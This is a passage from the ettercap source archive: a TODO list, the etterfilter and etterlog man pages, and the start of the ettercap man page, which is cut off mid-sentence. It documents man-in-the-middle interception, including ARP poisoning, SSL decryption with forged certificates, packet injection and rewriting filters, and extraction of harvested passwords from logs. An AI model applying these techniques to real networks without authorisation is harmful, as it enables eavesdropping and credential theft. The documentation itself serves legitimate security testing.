GBL_OPTIONS->quiet from some plugins + PCAP RELATED - pcap_stat fix (even under linux the stats are cumulative) + libnet_write under windows http://ettercap.sourceforge.net/forum/viewtopic.php?p=13789#13789 ============================ In the next release(s) ============================ + Host impersonation (issue #31) + RDP MITM feature (issue #32) + ETTERLOG - reassemble the stream based on sequence numbers - extractors for HTTP, POP, SMTP, FTP, TFTP + resolve ip in the message window + use different counters for RX and TX bytes in the connection table + record the MSS for the packet splitting + multiple dissector on a single port + CURSES - modifiable text in widgets + NETWORK MAPPER - automatic scan (all the host in the profile list) - specified ip address - interconnections map (linked to the profiles) - based on ttl (ala traceroute) - png output (ala nagios) + BINDER + ETTERFILTER - possibility to set flags in scripts - per packet - per connection ??? + SSH - SSL - decryption with given keys - DES support + ETTER.FINGER.MAC Allow Ettercap to use oui.txt as downloaded, instead of etter.finger.mac. Discussion: https://github.com/Ettercap/ettercap/pull/840 - change the code to use the standard oui.txt, and; - use the system one when available. See: https://packages.debian.org/sid/all/ieee-data/filelist https://lintian.debian.org/tags/source-contains-data-from-ieee-data-oui-db.html ================== LONG TERM TODO ================== + GTK - Phase out GTK2 - externalize XML code to own resouce files - transform static widgets to GtkBuilder XML files + SSH2 dissection :) (yes, it can be done) + IPv6 - router discovery - DHCPv6 MITM + Rendevouz mitm + SOCKS - decode the internal connection + multiple interfaces on gateway + NEW DISSECTOR - TACACS dissector - Microsoft RPC - postgresql - pcanywhere - TDS - MS-SQL (http://www.nii.co.in/vuln/sqlpass.html) - YMSG (http://www.xi0n.com/forums/showthread.php?s=8dc997a1e1f0d3216c8956d64fcdb414&postid=2767#post2767 http://www.venkydude.com/articles/yahoo.htm) - RDesktop - MSN9 (http://www.hackerscenter.com/Articles/Article.asp?id=54) + INET - handle fragmented packets + LUA BINDINGS - There's a lot to take care of.Too much to relate here. See: https://github.com/Ettercap/ettercap/pull/858 https://github.com/Ettercap/ettercap/pull/869 and https://github.com/Ettercap/ettercap/pull/698 ================== FOR NOW ================= ettercap-0.8.3/man/0000755000175000017500000000000013505247364013747 5ustar koeppeakoeppeaettercap-0.8.3/man/etterfilter.8.in0000644000175000017500000003206113505247364017000 0ustar koeppeakoeppea.\" etterfilter -- filter compiler for ettercap filter files .\" .\" This program is free software; you can redistribute it and/or modify .\" it under the terms of the GNU General Public License as published by .\" the Free Software Foundation; either version 2 of the License, or .\" (at your option) any later version. .\" .\" This program is distributed in the hope that it will be useful, .\" but WITHOUT ANY WARRANTY; without even the implied warranty of .\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the .\" GNU General Public License for more details. .\" .\" You should have received a copy of the GNU General Public License .\" along with this program; if not, write to the Free Software .\" Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. .\" .\" .de Sp .if n .sp .if t .sp 0.4 .. .TH ETTERFILTER "8" "" "ettercap @VERSION@" .SH NAME etterfilter - Filter compiler for ettercap content filtering engine .SH SYNOPSIS .B etterfilter [\fIOPTIONS\fR] \fIFILE\fR .SH DESCRIPTION The etterfilter utility is used to compile source filter files into binary filter files that can be interpreted by the JIT interpreter in the ettercap(8) filter engine. You have to compile your filter scripts in order to use them in ettercap. All syntax/parse errors will be checked at compile time, so you will be sure to produce a correct binary filter for ettercap. .TP .B GENERAL OPTIONS .TP \fB\-o\fR, \fB\-\-output \fR you can specify the output file for a source filter file. By default the output is filter.ef. .TP \fB\-t\fR, \fB\-\-test \fR you can analyze a compiled filter file with this option. etterfilter will print in a human readable form all the instructions contained in it. It is a sort of "disassembler" for binary filter files. .TP \fB\-d\fR, \fB\-\-debug\fR prints some debug messages during the compilation. Use it more than once to increase the debug level ( etterfilter \-ddd ... ). .TP \fB\-w\fR, \fB\-\-suppress\-warnings\fR Don't exit on warnings. With this option the compiler will compile the script even if it contains warnings. .TP .B STANDARD OPTIONS .TP \fB\-v\fR, \fB\-\-version\fR Print the version and exit. .TP \fB\-h\fR, \fB\-\-help\fR prints the help screen with a short summary of the available options. .TP .B SCRIPTS SYNTAX A script is a compound of instructions. It is executed sequentially and you can make branches with the 'if' statements. 'if' and 'if/else' statements are the only supported. No loops are implemented. The syntax is almost like C code except that you have to put 'if' blocks into graph parentheses '{' '}', even if they contain only one instruction. .Sp NOTE: you have to put a space between the 'if' and the '('. You must not put the space between the function name and the '('. .Sp Example: .br if (conditions) { } .br func(args...); .Sp The conditions for an 'if' statement can be either functions or comparisons. Two or more conditions can be linked together with logical operators like OR '||' and AND '&&'. .Sp Example: .br if (tcp.src == 21 && search(DATA.data, "ettercap")) { .br } .Sp Pay attention to the operator precedence. You cannot use parentheses to group conditions, so be careful with the order. An AND at the beginning of a conditions block will exclude all the other tests if it is evaluated as false. The parsing is left-to-right, when an operator is found: if it is an AND and the previous condition is false, all the statement is evaluated as false; if it is an OR the parsing goes on even if the condition is false. .Sp Example: .br if (ip.proto == UDP || ip.proto == TCP && tcp.src == 80) { .br } .Sp if (ip.proto == TCP && tcp.src == 80 || ip.proto == UDP) { .br } .Sp the former condition will match all udp or http traffic. The latter is wrong, because if the packet is not tcp, the whole condition block will be evaluated as false. If you want to make complex conditions, the best way is to split them into nested 'if' blocks. .Sp Since etterfilter support both IP address families, you should care whether you use 'ip.proto' which is specific for the IPv4 address family or it's IPv6 couterpart 'ipv6.nh'. Especially for the L4 protocol matching using 'ip.proto' and/or 'ipv6.nh', you should be careful if you're really acting on the right protocol. This should be enforced using the L3 protocol identifier 'eth.proto'. .Sp Example: .br if (eth.proto == IP && ip.proto == TCP && tcp.dst == 80 || tcp.src == 80) { .br } .Sp if (eth.proto == IP6 && ipv6.nh == TCP && tcp.dst == 80 || tcp.src == 80) { .br } .Sp if (tcp.dst == 80 || tcp.src == 80) { .br } .Sp The first example correctly matches http traffic only on IPv4 while the second would match http traffic only on IPv6. The thrid example matches http regardless it's IP address familiy. .Sp Every instruction in a block must end with a semicolon ';'. .Sp Comparisons are implemented with the '==' operator and can be used to compare numbers, strings or ip addresses. An ip address MUST be enclosed within two single quotes (eg. '192.168.0.7' or '2001:db8::2'). You can also use the 'less than' ('<'), 'greater than' ('>'), 'less or equal' ('<=') and 'greater or equal' ('>=') operators. The lvalue of a comparison must be an offset (see later) .Sp Example: .br if (DATA.data + 20 == "ettercap" && ip.ttl > 16) { .br } .Sp Assignments are implemented with the '=' operator and the lvalue can be an offset (see later). The rvalue can be a string, an integer or a hexadecimal value. .Sp Example: .br ip.ttl = 0xff; .br DATA.data + 7 = "ettercap NG"; .Sp You can also use the 'inc' and 'dec' operations on the packet fields. The operators used are '+=' and '\-='. The rvalue can be an integer or a hexadecimal value. .Sp Example: .br ip.ttl += 5; More examples can be found in the etter.filter.examples file. .TP .B OFFSET DEFINITION An offset is identified by a virtual pointer. In short words, an offset is a pointer to the packet buffer. The virtual pointer is a tuple , where L is the iso/osi level, O is the offset in that level and S is the size of the virtual pointer. You can make algebraic operations on a virtual pointer and the result is still an offset. Specifying 'vp + n' will result in a new virtual pointer . And this is perfectly legal, we have changed the internal offset of that level. .Sp Virtual pointers are in the form 'name.field.subfield'. For example 'ip.ttl' is the virtual pointer for the Time To Live field in the IP header of a packet. It will be translated as . Indeed it is the 9th byte of level 3 and its size is 1 byte. 'ip.ttl + 1' is the same as 'ip.proto' since the 10th byte of the IP header is the protocol encapsulated in the IP packet. Note that since etterfilter also supports processing of IPv6, the above mentioned only applies for IPv4 packets while counterpart in IPv6 would be 'ipv6.nh'. .Sp The list of all supported virtual pointers is in the file etterfilter.tbl. You can add your own virtual pointers by adding a new table or modifying the existing ones. Refer to the comments at the beginning of the file for the syntax of etterfilter.tbl file. .TP .B SCRIPTS FUNCTIONS .TP .B search(\fIwhere\fR, \fIwhat\fR) this function searches the string 'what' in the buffer 'where'. The buffer can be either DATA.data or DECODED.data. The former is the payload at layer DATA (ontop TCP or UDP) as it is transmitted on the wire, the latter is the payload decoded/decrypted by dissectors. .br So, if you want to search in an SSH connection, it is better to use 'DECODED.data' since 'data' will be encrypted. .br The string 'what' can be binary. You have to escape it. .Sp example: .br search(DATA.data, "\\x41\\x42\\x43") .TP .B regex(\fIwhere\fR, \fIregex\fR) this function will return true if the 'regex' has matched the buffer 'where'. The considerations about 'DECODED.data' and 'DATA.data' mentioned for the function 'search' are the same for the regex function. .Sp NOTE: regex can be used only against a string buffer. .Sp example: .br regex(DECODED.data, ".*login.*") .TP .B pcre_regex(\fIwhere\fR, \fIpcre_regex\fR ... ) this function will evaluate a perl compatible regular expression. You can match against both DATA and DECODED, but if your expression modifies the buffer, it makes sense to operate only on DATA. The function accepts 2 or 3 parameters depending on the operation you want. The two parameter form is used only to match a pattern. The three parameter form means that you want to make a substitution. In both cases, the second parameter is the search string. .br You can use $n in the replacement string. These placeholders are referred to the groups created in the search string. (e.g. pcre_regex(DATA.data, "^var1=([:digit:]*)&var2=([:digit:]*)", "var1=$2&var2=$1") will swap the value of var1 and var2). .br NOTE: The pcre support is optional in ettercap and will be enabled only if you have the libpcre installed. The compiler will warn you if you try to compile a filter that contains pcre expressions but you don't have libpcre. Use the \-w option to suppress the warning. .Sp example: .br pcre_regex(DATA.data, ".*foo$") .br pcre_regex(DATA.data, "([^ ]*) bar ([^ ]*)", "foo $1 $2") .TP .B replace(\fIwhat\fR, \fIwith\fR) this function replaces the string 'what' with the string 'with'. They can be binary string and must be escaped. The replacement is always performed in DATA.data since is the only payload which gets forwarded. The 'DECODED.data' buffer is used only internally and never reaches the wire. .Sp example: .br replace("ethercap", "ettercap") .TP .B inject(\fIwhat\fR) this function injects the content of the file 'what' after the packet being processed. It always injects in DATA.data. You can use it to replace the entire packet with a fake one using the drop() function right before the inject() command. In that case the filtering engine will drop the current packet and inject the fake one. .Sp example: .br inject("./fake_packet") .TP .B log(\fIwhat\fR, \fIwhere\fR) this function dumps in the file 'where' the buffer 'what'. No information is stored about the packet, only the payload is dumped. So you will see the stream in the file. If you want to log packets in a more enhanced mode, you need to use the ettercap \-L option and analyze it with etterlog(8). .br The file 'where' must be writable to the user EC_UID (see etter.conf(5)). .Sp example: .br log(DECODED.data, "/tmp/interesting.log") .TP .B msg(\fImessage\fR) this function displays a message to the user in the User Messages window. It is useful to let the user know whether a particular filter has been successful or not. .Sp example: .br msg("Packet filtered successfully") .TP .B drop() this function marks the packet "to be dropped". The packet will not be forwarded to the real destination. .Sp example: .br drop() .TP .B kill() this function kills the connection that owns the matched packet. If it is a TCP connection, a RST is sent to both sides of the connection. If it is an UDP connection, an ICMP PORT UNREACHABLE is sent to the source of the packet. .Sp example: .br kill() .TP .B exec(\fIcommand\fR) this function executes a shell command. You have to provide the full path to the command since it is executed without any environment. There is no way to determine if the command was successful or not. Furthermore, it is executed asynchronously since it is forked by the main process. .Sp example: .br exec("/bin/cat /tmp/foo >> /tmp/bar") .TP .B execinject(\fIcommand\fR) this function operates similar to the \fBinject\fR function except that it uses the output of a shell command to inject data rather than the contents of a file. It always injects in DATA.data. You can use it to replace the entire packet with a fake one using the drop() function right before the execinject() command. In that case the filtering engine will drop the current packet and inject the fake one. .Sp example: .br execinject("/bin/cat /tmp/foo") .TP .B exit() this function causes the filter engine to stop executing the code. It is useful to stop the execution of the script on some circumstance checked by an 'if' statement. .Sp example: .br exit() .SH EXAMPLES Here are some examples of using etterfilter. .TP .B etterfilter filter.ecf \-o filter.ef .Sp Compiles the source filter.ecf into a binary filter.ef .SH ORIGINAL AUTHORS Alberto Ornaghi (ALoR) .br Marco Valleri (NaGA) .SH PROJECT STEWARDS Emilio Escobar (exfil) .br Eric Milam (Brav0Hax) .SH OFFICIAL DEVELOPERS Mike Ryan (justfalter) .br Gianfranco Costamagna (LocutusOfBorg) .br Antonio Collarino (sniper) .br Ryan Linn .br Jacob Baines .SH CONTRIBUTORS Dhiru Kholia (kholia) .br Alexander Koeppe (koeppea) .br Martin Bos (PureHate) .br Enrique Sanchez .br Gisle Vanem .br Johannes Bauer .br Daten (Bryan Schneiders) .SH "SEE ALSO" .I "etter.filter.examples" .br .I "ettercap(8)" .I "etterlog(8)" .I "etter.conf(5)" .I "ettercap_curses(8)" .I "ettercap_plugins(8)" .I "ettercap\-pkexec(8)" .LP ettercap-0.8.3/man/etterlog.8.in0000644000175000017500000002567213505247364016306 0ustar koeppeakoeppea.\" etterlog -- log analyzer for ettercap log files .\" .\" This program is free software; you can redistribute it and/or modify .\" it under the terms of the GNU General Public License as published by .\" the Free Software Foundation; either version 2 of the License, or .\" (at your option) any later version. .\" .\" This program is distributed in the hope that it will be useful, .\" but WITHOUT ANY WARRANTY; without even the implied warranty of .\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the .\" GNU General Public License for more details. .\" .\" You should have received a copy of the GNU General Public License .\" along with this program; if not, write to the Free Software .\" Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. .\" .\" .de Sp .if n .sp .if t .sp 0.4 .. .TH ETTERLOG "8" "" "ettercap @VERSION@" .SH NAME etterlog \- Log analyzer for ettercap log files .SH SYNOPSIS .B etterlog [\fIOPTIONS\fR] \fIFILE\fR .SH DESCRIPTION Etterlog is the log analyzer for logfiles created by ettercap. It can handle both compressed (created with \-Lc) or uncompressed logfiles. With this tool you can manipulate binary files as you like and you can print data in different ways all the times you want (in contrast with the previous logging system which was used to dump in a single static manner). .br You will be able to dump traffic from only one connection of your choice, from only one or more hosts, print data in hex, ascii, binary etc... .Sp TIP: All non-useful messages are printed to stderr, so you can save the output from etterlog with the following command: .TP \fIetterlog [options] logfile > outfile\fR .Sp Thus you can dump for example a binary file from an ftp connection if you print the data in binary mode, without headers and selecting only the ftp server as the source of the communication. .TP .B GENERAL OPTIONS .TP \fB\-a\fR, \fB\-\-analyze\fR Analyze a log file and display some interesting statistics. .TP \fB\-c\fR, \fB\-\-connections\fR Parse the log file and print a table of unique connections (port to port). This option can be used only on LOG_PACKET logfiles. On LOG_INFO logfiles it is useless. .Sp TIP: you can search for a particular host by using the following command: .Sp etterlog \-c logfile.ecp | grep 10.0.0.1 .TP \fB\-f\fR, \fB\-\-filter \fR Print only packets coming from or going to TARGET. The TARGET specification is the same as in ettercap. .br \fITARGET\fR is in the form \fIMAC/IPs/PORTs\fR. With IPv6 support enabled, \fITARGET\fR is in the form \fIMAC/IPs/IPv6/PORTs\fR. Omitting one or more of its parts will be equivalent to set them to ANY. IPs and IPv6 will be treated as one part so that it's only set to ANY if both IPs and IPv6 is omitted. This concludes in a result most users would expect. .Sp If the log type is LOG_INFO the target is used to display hosts matching the mac, ip and having the specified port(s) open. For example the target //80 will display only information about hosts with a running web server. .TP \fB\-r\fR, \fB\-\-reverse\fR Reverse the matching in the TARGET selection. It means not(TARGET). All but the selected TARGET. .TP \fB\-t\fR, \fB\-\-proto \fR Sniff only PROTO packets (default is TCP + UDP). This option is only useful in "simple" mode. If you start ettercap in interactive mode both TCP and UDP are sniffed. .br PROTO can be "tcp", "udp" or "all" for both. .TP \fB\-F\fR, \fB\-\-filcon \fR Print packets belonging only to this CONNECTION. .br CONNECTION is in the form PROTO:SOURCE:DEST. SOURCE and DEST are in the form IP:PORT. .Sp example: .Sp etterlog \-F TCP:10.0.0.23:3318:198.182.196.56:80 .TP \fB\-s\fR, \fB\-\-only\-source\fR Display only packets that are sent by the source of the selected CONNECTION. This option makes sense only in conjunction with the \-F option. .Sp TIP: if you want to save a file transferred in an HTTP or FTP connection, you can use the following command: .Sp etterlog \-B \-s \-n \-F TCP:10.0.0.1:20:10.0.0.2:35426 logfile.ecp > example.tar.gz .TP \fB\-d\fR, \fB\-\-only\-dest\fR Same as \-\-only\-source but it filters on the destination host. .TP \fB\-n\fR, \fB\-\-no\-headers\fR Do not print the header of each packet. This option is useful if you want to save a file in binary format (\-B option). Without the headers you can redirect the output to a file and you will get the original stream. .Sp NOTE: the time stamp in the header is in the form: Thu Mar 27 23:03:31 2003 [169396], the value in the square brackets is expressed in microseconds .TP \fB\-m\fR, \fB\-\-show\-mac\fR In the headers show also the mac addresses corresponding to the ip addresses. .TP \fB\-k\fR, \fB\-\-color\fR If used in conjunction with \-F it displays the source and dest of the connection using different colors. If used with a LOG_INFO file it prints LAN hosts in green, REMOTE hosts in blue and GATEWAYS in red. .TP \fB\-l\fR, \fB\-\-only\-local\fR Used displaying an INFO file, it displays information only about local hosts. .TP \fB\-L\fR, \fB\-\-only\-remote\fR Used displaying an INFO file, it displays information only about remote hosts. .TP .B SEARCH OPTIONS .TP \fB\-e\fR, \fB\-\-regex \fR Display only packets matching the regex . .br If this option is used agains a LOG_PACKET logfile, the regex is executed on the payload of the packet. If the type is LOG_INFO, the regex is executed on all the fields of the host profile (OS, banners, service and ethernet adapter). .br NOTE: the regex is compiled with the REG_ICASE flag (case insensitive). .TP \fB\-u\fR, \fB\-\-user \fR Display information about this user. The search is performed over all the user/pass couples collected across all hosts. .TP \fB\-p\fR, \fB\-\-passwords\fR Print only the collected account information for each host. This prevents the huge profile output. It can be used in conjunction with the \-u option to filter the users. An asterisk '*' used in front of an account represents a failed login attempt. .TP \fB\-i\fR, \fB\-\-show\-client\fR Show the client ip address when displaying the collected users and passwords. It may be useful when ACLs are in place. .TP \fB\-I\fR, \fB\-\-client \fR Show passwords only coming from a specific . This is useful to view all the usernames and passwords of a client. .TP .B EDITING OPTIONS .TP \fB\-C\fR, \fB\-\-concat\fR Use this option to concatenate two (or more) files into one single file. This is useful if you have collected ettercap log files from multiple sources and want to have an unified report. The output file must be specified with the \-o option and the input files are listed as normal arguments. .Sp example: .br etterlog \-C \-o outfile input1 input2 input3 .TP \fB\-o\fR, \fB\-\-outfile \fR specifies the output file for a concatenation. .TP .B VISUALIZATION METHOD .TP \fB\-B\fR, \fB\-\-binary\fR Print data as they are, in binary form. Useful to dump binary data to a file (as described above). .TP \fB\-X\fR, \fB\-\-hex\fR Print the packets in hex format. .Sp example: .Sp the string "HTTP/1.1 304 Not Modified" becomes: .Sp 0000: 4854 5450 2f31 2e31 2033 3034 204e 6f74 HTTP/1.1 304 Not .br 0010: 204d 6f64 6966 6965 64 Modified .TP \fB\-A\fR, \fB\-\-ascii\fR Print only "printable" characters, the others are displayed as dots '.' .TP \fB\-T\fR, \fB\-\-text\fR Print only the "printable" characters and skip the others. .TP \fB\-E\fR, \fB\-\-ebcdic\fR Convert an EBCDIC text to ASCII. .TP \fB\-H\fR, \fB\-\-html\fR Strip all html tags from the text. A tag is every string between '<' and '>'. .Sp example: .Sp This is the title, but the following will not be displayed. .Sp This is the title, but the following will not be displayed. .TP \fB\-U\fR, \fB\-\-utf8 \fR Print the packets in UTF-8 format. The parameter specifies the encoding to be used while performing the conversion. Use the `iconv \-\-list` command to obtain a list of all supported encodings. .TP \fB\-Z\fR, \fB\-\-zero\fR Print always the void string. i.e. print only header information and no packet content will be printed. .TP \fB\-x\fR, \fB\-\-xml\fR Print the host information in xml form, so you can parse it with your favourite program. .Sp The DTD associated with the xml output is in share/etterlog.dtd .TP .B STANDARD OPTIONS .TP \fB\-v\fR, \fB\-\-version\fR Print the version and exit. .TP \fB\-h\fR, \fB\-\-help\fR Print the help screen with a short summary of the available options. .SH EXAMPLES Here are some examples of using etterlog. .TP .B etterlog \-k \-l dump.eci .Sp Displays information about local hosts in different colors. .TP .B etterlog \-X dump.ecp .Sp Prints packets in HEX mode with full headers. .TP .B etterlog \-c dump.ecp .Sp Displays the list of connections logged in the file. .TP .B etterlog \-Akn \-F TCP:10.0.0.1:13423:213.203.143.52:6666 dump.ecp .Sp Displays the IRC traffic made by 10.0.0.1 in ASCII mode, without headers information and in colored mode. .TP .B etterlog \-H \-t tcp \-f //80 dump.ecp .Sp Dumps all HTTP traffic and strips html tags. .TP .B etterlog \-Z \-r \-f /10.0.0.2/22 dump.ecp .Sp Displays only the headers of all connections except ssh on host 10.0.0.2 .TP .B etterlog \-A \-e 'user' \-f //110 dump.ecp .Sp Displays only POP packets containing the 'user' regexp (case insensitive). .TP .B etterlog \-u root dump.eci .Sp Displays information about all the accounts of the user 'root'. .TP .B etterlog \-e Apache dump.eci .Sp Displays information about all the hosts running 'Apache'. .TP .B etterlog \-e Linux dump.eci .Sp Displays information about all the hosts with the 'Linux' operating system. .TP .B etterlog \-t tcp \-f //110 dump.eci .Sp Displays information about all the hosts with the tcp port 110 open. .TP .B etterlog \-t udp dump.eci .Sp Displays information about all the hosts with at least one UDP port open. .TP .B etterlog \-B \-s \-n \-F TCP:10.0.0.1:20:10.0.0.2:35426 logfile.ecp > example.tar.gz .Sp Dumps in binary form the data sent by 10.0.0.1 over the data port of FTP. Since the headers are omitted, you will get the file as it was. .SH ORIGINAL AUTHORS Alberto Ornaghi (ALoR) .br Marco Valleri (NaGA) .SH PROJECT STEWARDS Emilio Escobar (exfil) .br Eric Milam (Brav0Hax) .SH OFFICIAL DEVELOPERS Mike Ryan (justfalter) .br Gianfranco Costamagna (LocutusOfBorg) .br Antonio Collarino (sniper) .br Ryan Linn .br Jacob Baines .SH CONTRIBUTORS Dhiru Kholia (kholia) .br Alexander Koeppe (koeppea) .br Martin Bos (PureHate) .br Enrique Sanchez .br Gisle Vanem .br Johannes Bauer .br Daten (Bryan Schneiders) .SH "SEE ALSO" .I "ettercap(8)" .I "etterfilter(8)" .I "etter.conf(5)" .I "ettercap_curses(8)" .I "ettercap_plugins(8)" .I "ettercap\-pkexec(8)" .LP ettercap-0.8.3/man/ettercap.8.in0000644000175000017500000011606513505247364016265 0ustar koeppeakoeppea.\" ettercap -- a multipurpose sniffer/interceptor utility .\" .\" This program is free software; you can redistribute it and/or modify .\" it under the terms of the GNU General Public License as published by .\" the Free Software Foundation; either version 2 of the License, or .\" (at your option) any later version. .\" .\" This program is distributed in the hope that it will be useful, .\" but WITHOUT ANY WARRANTY; without even the implied warranty of .\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the .\" GNU General Public License for more details. .\" .\" You should have received a copy of the GNU General Public License .\" along with this program; if not, write to the Free Software .\" Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. .\" .de Sp .if n .sp .if t .sp 0.4 .. .TH ETTERCAP "8" "" "ettercap @VERSION@" .SH NAME ettercap - multipurpose sniffer/content filter for man in the middle attacks .SH ***** IMPORTANT NOTE ****** Since ettercap NG (formerly 0.7.0), all the options have been changed. Even the target specification has been changed. \fIPlease read carefully this man page.\fR .SH SYNOPSIS .B ettercap [\fIOPTIONS\fR] [\fITARGET1\fR] [\fITARGET2\fR] .PP .B If IPv6 is enabled: .br .br \fITARGET\fR is in the form \fIMAC/IPs/IPv6/PORTs\fR .br .B Otherwise, .br .br \fITARGET\fR is in the form \fIMAC/IPs/PORTs\fR .br .br where IPs and PORTs can be ranges (e.g. /192.168.0.1\-30,40,50/20,22,25) .SH DESCRIPTION Ettercap was born as a sniffer for switched LAN (and obviously even "hubbed" ones), but during the development process it has gained more and more features that have changed it to a powerful and flexible tool for man-in-the-middle attacks. It supports active and passive dissection of many protocols (even ciphered ones) and includes many features for network and host analysis (such as OS fingerprint). .PP It has two main sniffing options: .PP \fIUNIFIED\fR, this method sniffs all the packets that pass on the cable. You can choose to put or not the interface in promisc mode (\-p option). The packet not directed to the host running ettercap will be forwarded automatically using layer 3 routing. So you can use a mitm attack launched from a different tool and let ettercap modify the packets and forward them for you. .br The kernel ip_forwarding is always disabled by ettercap. This is done to prevent a forward of a packet twice (one by ettercap and one by the kernel). This is an invasive behaviour on gateways. So we recommend you to use ettercap on the gateways ONLY with the UNOFFENSIVE MODE ENABLED. Since ettercap listens only on one network interface, launching it on the gateway in offensive mode will not allow packets to be rerouted back from the second interface. .PP \fIBRIDGED\fR, it uses two network interfaces and forward the traffic from one to the other while performing sniffing and content filtering. This sniffing method is totally stealthy since there is no way to find that someone is in the middle on the cable. You can look at this method as a mitm attack at layer 1. You will be in the middle of the cable between two entities. Don't use it on gateways or it will transform your gateway into a bridge. HINT: you can use the content filtering engine to drop packets that should not pass. This way ettercap will work as an inline IPS ;) .PP You can also perform man in the middle attacks while using the unified sniffing. You can choose the mitm attack that you prefer. The mitm attack module is independent from the sniffing and filtering process, so you can launch several attacks at the same time or use your own tool for the attack. The crucial point is that the packets have to arrive to ettercap with the correct mac address and a different ip address (only these packets will be forwarded). .PP The most relevant ettercap features are: .PP .B SSH1 support : you can sniff User and Pass, and even the data of an SSH1 connection. ettercap is the first software capable to sniff an SSH connection in FULL-DUPLEX .PP .B SSL support : you can sniff SSL secured data... a fake certificate is presented to the client and the session is decrypted. .PP .B Characters injection in an established connection : you can inject characters to the server (emulating commands) or to the client (emulating replies) maintaining the connection alive !! .PP .B Packet filtering/dropping: You can set up a filter script that searches for a particular string (even hex) in the TCP or UDP payload and replace it with yours or drop the entire packet. The filtering engine can match any field of the network protocols and modify whatever you want (see etterfilter(8)). .PP .B Remote traffic sniffing through tunnels and route mangling: You can play with linux cooked interfaces or use the integrated plugin to sniff tunneled or route-mangled remote connections and perform mitm attacks on them. .PP .B Plug-ins support : You can create your own plugin using the ettercap's API. .PP .B Password collector for : TELNET, FTP, POP, RLOGIN, SSH1, ICQ, SMB, MySQL, HTTP, NNTP, X11, NAPSTER, IRC, RIP, BGP, SOCKS 5, IMAP 4, VNC, LDAP, NFS, SNMP, HALF LIFE, QUAKE 3, MSN, YMSG (other protocols coming soon...) .PP .B Passive OS fingerprint: you scan passively the lan (without sending any packet) and gather detailed info about the hosts in the LAN: Operating System, running services, open ports, IP, mac address and network adapter vendor. .PP .B Kill a connection: from the connections list you can kill all the connections you want .SH TARGET SPECIFICATION There is no concept of SOURCE nor DEST. The two targets are intended to filter traffic coming from one to the other and vice-versa (since the connection is bidirectional). .PP \fITARGET\fR is in the form \fIMAC/IPs/PORTs\fR. .br .B NOTE: If IPv6 is enabled, \fITARGET\fR is in the form \fIMAC/IPs/IPv6/PORTs\fR. .PP If you want you can omit any of its parts and this will represent an ANY in that part. .br e.g. .br "//80" means ANY mac address, ANY ip and ONLY port 80 .br "/10.0.0.1/" means ANY mac address, ONLY ip 10.0.0.1 and ANY port .PP \fIMAC\fR must be unique and in the form 00:11:22:33:44:55 .PP \fIIPs\fR is a range of IP in dotted notation. You can specify range with the \- (hyphen) and single ip with , (comma). You can also use ; (semicolon) to indicate different ip addresses. .br e.g. .br "10.0.0.1\-5;10.0.1.33" expands into ip 10.0.0.1, 2, 3, 4, 5 and 10.0.1.33 .PP \fIPORTs\fR is a range of PORTS. You can specify range with the \- (hyphen) and single port with , (comma). .br e.g. .br "20\-25,80,110" expands into ports 20, 21, 22, 23, 24, 25, 80 and 110 .PP .B NOTE: .br you can reverse the matching of the TARGET by adding the \-R option to the command line. So if you want to sniff ALL the traffic BUT the one coming or going to 10.0.0.1 you can specify "./ettercap \-R /10.0.0.1/" .PP .B NOTE: .br TARGETs are also responsible of the initial scan of the lan. You can use them to restrict the scan to only a subset of the hosts in the netmask. The result of the merging between the two targets will be scanned. remember that not specifying a target means "no target", but specifying "//" means "all the hosts in the subnet". .PP .SH PRIVILEGES DROPPING ettercap needs root privileges to open the Link Layer sockets. After the initialization phase, the root privs are not needed anymore, so ettercap drops them to UID = 65535 (nobody). Since ettercap has to write (create) log files, it must be executed in a directory with the right permissions (e.g. /tmp/). If you want to drop privs to a different uid, you can export the environment variable EC_UID with the value of the uid you want to drop the privs to (e.g. export EC_UID=500) or set the correct parameter in the etter.conf file. .SH SSL MITM ATTACK SSL mitm attack is dependent on TCP traffic redirection to a custom listener port of ettercap. The redir_command_on and redir_command_off configuration variables take care of this (see "etter.conf(5)"). .br However, when ettercap starts, traffic for any source and any destination targeted for the redirectable services will be redirected to ettercap and the SSL stream will be intercepted. .br This may not be the desired behaviour. Therefore you can adjust the redirect rules after ettercap has been started using the selected user interface. .Sp While performing the SSL mitm attack, ettercap substitutes the real ssl certificate with its own. The fake certificate is created on the fly and all the fields are filled according to the real cert presented by the server. Only the issuer is modified and signed with the private key contained in the 'etter.ssl.crt' file. If you want to use a different private key you have to regenerate this file. To regenerate the cert file use the following commands: .Sp openssl genrsa \-out etter.ssl.crt 1024 .br openssl req \-new \-key etter.ssl.crt \-out tmp.csr .br openssl x509 \-req \-days 1825 \-in tmp.csr \-signkey etter.ssl.crt \-out tmp.new .br cat tmp.new >> etter.ssl.crt .br rm \-f tmp.new tmp.csr .PP NOTE: SSL mitm is not available (for now) in bridged mode. .PP NOTE: You can use the \-\-certificate/\-\-private\-key long options if you want to specify a different file rather than the etter.ssl.crt file. .SH OPTIONS Options that make sense together can generally be combined. ettercap will warn the user about unsupported option combinations. .TP .B SNIFFING AND ATTACK OPTIONS .PP ettercap NG has a new unified sniffing method. This implies that ip_forwarding in the kernel is always disabled and the forwarding is done by ettercap. Every packet with destination mac address equal to the host's mac address and destination ip address different for the one bound to the iface will be forwarded by ettercap. Before forwarding them, ettercap can content filter, sniff, log or drop them. It does not matter how these packets are hijacked, ettercap will process them. You can even use external programs to hijack packet. .br You have full control of what ettercap should receive. You can use the internal mitm attacks, set the interface in promisc mode, use plugins or use every method you want. .Sp IMPORTANT NOTE: if you run ettercap on a gateway, remember to re-enable the ip_forwarding after you have killed ettercap. Since ettercap drops its privileges, it cannot restore the ip_forwarding for you. .TP \fB\-M\fR, \fB\-\-mitm \fR MITM attack .br This option will activate the man in the middle attack. The mitm attack is totally independent from the sniffing. The aim of the attack is to hijack packets and redirect them to ettercap. The sniffing engine will forward them if necessary. .br You can choose the mitm attack that you prefer and also combine some of them to perform different attacks at the same time. .br If a mitm method requires some parameters you can specify them after the colon. (e.g. \-M dhcp:ip_pool,netmask,etc ) .Sp The following mitm attacks are available: .RS .TP \fBarp\fR ([remote],[oneway]) This method implements the ARP poisoning mitm attack. ARP requests/replies are sent to the victims to poison their ARP cache. Once the cache has been poisoned the victims will send all packets to the attacker which, in turn, can 